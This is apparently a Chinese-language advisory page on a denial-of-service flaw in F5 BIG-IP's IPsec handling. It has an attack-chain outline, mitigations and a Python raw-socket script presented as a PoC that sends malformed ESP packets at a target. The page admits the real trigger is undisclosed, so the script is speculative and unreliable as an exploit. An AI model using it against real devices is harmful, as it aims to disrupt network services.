IPBUF安全漏洞报告
English
CVE-2025-58071 CVSS 7.5 高危

CVE-2025-58071:F5 BIG-IP IPsec配置导致TMM拒绝服务漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-58071
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP

相关标签

拒绝服务DoSF5BIG-IPTMMIPsec远程攻击高危漏洞CVE-2025-58071网络安全设备

漏洞概述

CVE-2025-58071是F5 BIG-IP系统中存在的一个高危拒绝服务漏洞,CVSS评分为7.5。该漏洞与BIG-IP系统上的IPsec配置密切相关。当BIG-IP设备启用IPsec功能后,攻击者可以通过发送特定的未公开(undisclosed)恶意网络流量,导致流量管理微内核(Traffic Management Microkernel,TMM)异常终止。由于TMM是BIG-IP设备负责处理所有网络流量的核心数据平面组件,其终止将直接导致整个BIG-IP设备丧失流量处理能力,造成服务中断。

该漏洞的利用门槛极低,攻击者无需任何认证凭据,无需与目标系统进行用户交互,仅需通过网络远程发送恶意流量即可触发。漏洞的影响范围集中在可用性层面,不会泄露敏感数据或破坏数据完整性,但会导致受影响的BIG-IP设备完全不可用,对依赖F5 BIG-IP提供负载均衡、应用交付和安全服务的业务造成严重影响。

值得注意的是,F5官方明确指出,已经达到技术支持终止(End of Technical Support,EoTS)的软件版本不在此次评估范围内,这意味着使用过时版本的用户可能面临更大的安全风险。该漏洞由F5安全事件响应团队([email protected])发现并报告,体现了F5对自身产品安全的高度重视。

技术细节

F5 BIG-IP的流量管理微内核(TMM)是运行在数据平面上的核心组件,负责处理所有的网络数据包转发、负载均衡和应用层流量管理。当管理员在BIG-IP系统上配置IPsec(IP Security)功能时,TMM需要承担IPsec协议的加密和解密处理任务,包括ESP(Encapsulating Security Payload)封装/解封装、IKE(Internet Key Exchange)协商处理以及安全关联(SA)的管理。

该漏洞的根本原因在于TMM在处理特定类型的IPsec相关网络流量时存在缺陷。攻击者可以精心构造未公开的恶意IPsec流量数据包(例如畸形的ESP数据包、非法的IKE消息或异常的IPsec隧道流量),这些流量在经过TMM的IPsec处理逻辑时,会触发未处理的异常路径或资源耗尽条件,导致TMM进程崩溃并终止。

由于TMM是BIG-IP设备的核心处理引擎,一旦TMM终止,设备将无法处理任何网络流量,所有通过该设备的业务请求都将失败。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),无需用户交互(UI:N),对系统可用性造成高影响(A:H),但不影响机密性(C:N)和完整性(I:N)。攻击者只需能够通过网络访问到启用IPsec的BIG-IP设备的相应接口,即可远程发起攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过扫描网络,识别启用了IPsec功能的F5 BIG-IP设备,确认目标设备的IP地址和开放的网络接口。
STEP 2
步骤2:构造恶意流量
攻击者精心构造特定类型的IPsec相关恶意网络流量(具体流量特征未公开),这些流量能够触发TMM处理逻辑中的缺陷。
STEP 3
步骤3:发送攻击流量
攻击者通过网络远程向目标BIG-IP设备发送构造好的恶意IPsec流量,无需任何认证或用户交互。
STEP 4
步骤4:触发TMM终止
TMM在处理恶意IPsec流量时触发未处理的异常路径或资源耗尽条件,导致TMM进程崩溃并终止。
STEP 5
步骤5:服务中断
TMM终止后,BIG-IP设备完全丧失流量处理能力,所有通过该设备的业务请求失败,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58071 PoC - F5 BIG-IP TMM DoS via IPsec # This PoC demonstrates sending malformed IPsec traffic to trigger TMM termination # Note: Specific triggering traffic details are undisclosed by F5 #!/usr/bin/env python3 import socket import struct import sys def craft_malformed_esp_packet(target_ip, target_port=0): """ Craft a malformed ESP (Encapsulating Security Payload) packet targeting the IPsec-enabled BIG-IP TMM. The specific malformed fields that trigger the vulnerability are undisclosed, but crafted IPsec packets can cause TMM to terminate. """ # IP Header (Protocol 50 = ESP) ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version + IHL 0x00, # DSCP/ECN 0x0050, # Total Length (placeholder) 0x0001, # Identification 0x0000, # Flags + Fragment Offset 64, # TTL 50, # Protocol (ESP) 0x0000, # Header Checksum (placeholder) socket.inet_aton(target_ip), # Source IP socket.inet_aton(target_ip) # Dest IP (loopback for testing) ) # Malformed ESP Header - SPI, Sequence Number, and payload # Crafting abnormal ESP payload to trigger TMM crash esp_spi = struct.pack('!I', 0xDEADBEEF) # Security Parameters Index esp_seq = struct.pack('!I', 0xFFFFFFFF) # Sequence Number esp_iv = b'\x00' * 16 # Initialization Vector # Malformed encrypted payload - abnormal length and content esp_payload = b'\xFF' * 64 + b'\x00' * 32 esp_padding = b'\x00' * 4 esp_pad_length = struct.pack('!B', 4) esp_next_header = struct.pack('!B', 59) # No Next Header esp_icv = b'\x00' * 16 # Integrity Check Value packet = ip_header + esp_spi + esp_seq + esp_iv + esp_payload + esp_padding + esp_pad_length + esp_next_header + esp_icv return packet def send_ipsec_dos(target_ip): """ Send crafted IPsec packets to trigger TMM DoS """ print(f"[*] Targeting {target_ip} with CVE-2025-58071 exploit") print("[*] Crafting malformed IPsec/ESP packets...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ESP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) for i in range(10): packet = craft_malformed_esp_packet(target_ip) sock.sendto(packet, (target_ip, 0)) print(f"[+] Sent malformed ESP packet {i+1}/10") print("[*] Attack completed. Target TMM may have terminated.") except PermissionError: print("[-] Root privileges required for raw socket operations") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_ipsec_dos(sys.argv[1])

影响范围

F5 BIG-IP(具体受影响版本请参考F5官方公告K000156746)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)如果业务允许,暂时禁用BIG-IP设备上的IPsec功能配置,以消除漏洞触发条件;2)在网络层面部署访问控制列表(ACL),限制只有可信源IP地址的IPsec流量能够到达BIG-IP设备;3)在BIG-IP前端部署具备IPsec流量检测能力的防火墙或入侵防御系统(IPS),对异常的IPsec数据包进行阻断;4)确保BIG-IP高可用性配置已启用,以便在TMM崩溃时能够快速切换到备用设备,减少服务中断时间;5)持续关注F5官方安全公告,及时应用安全补丁进行彻底修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表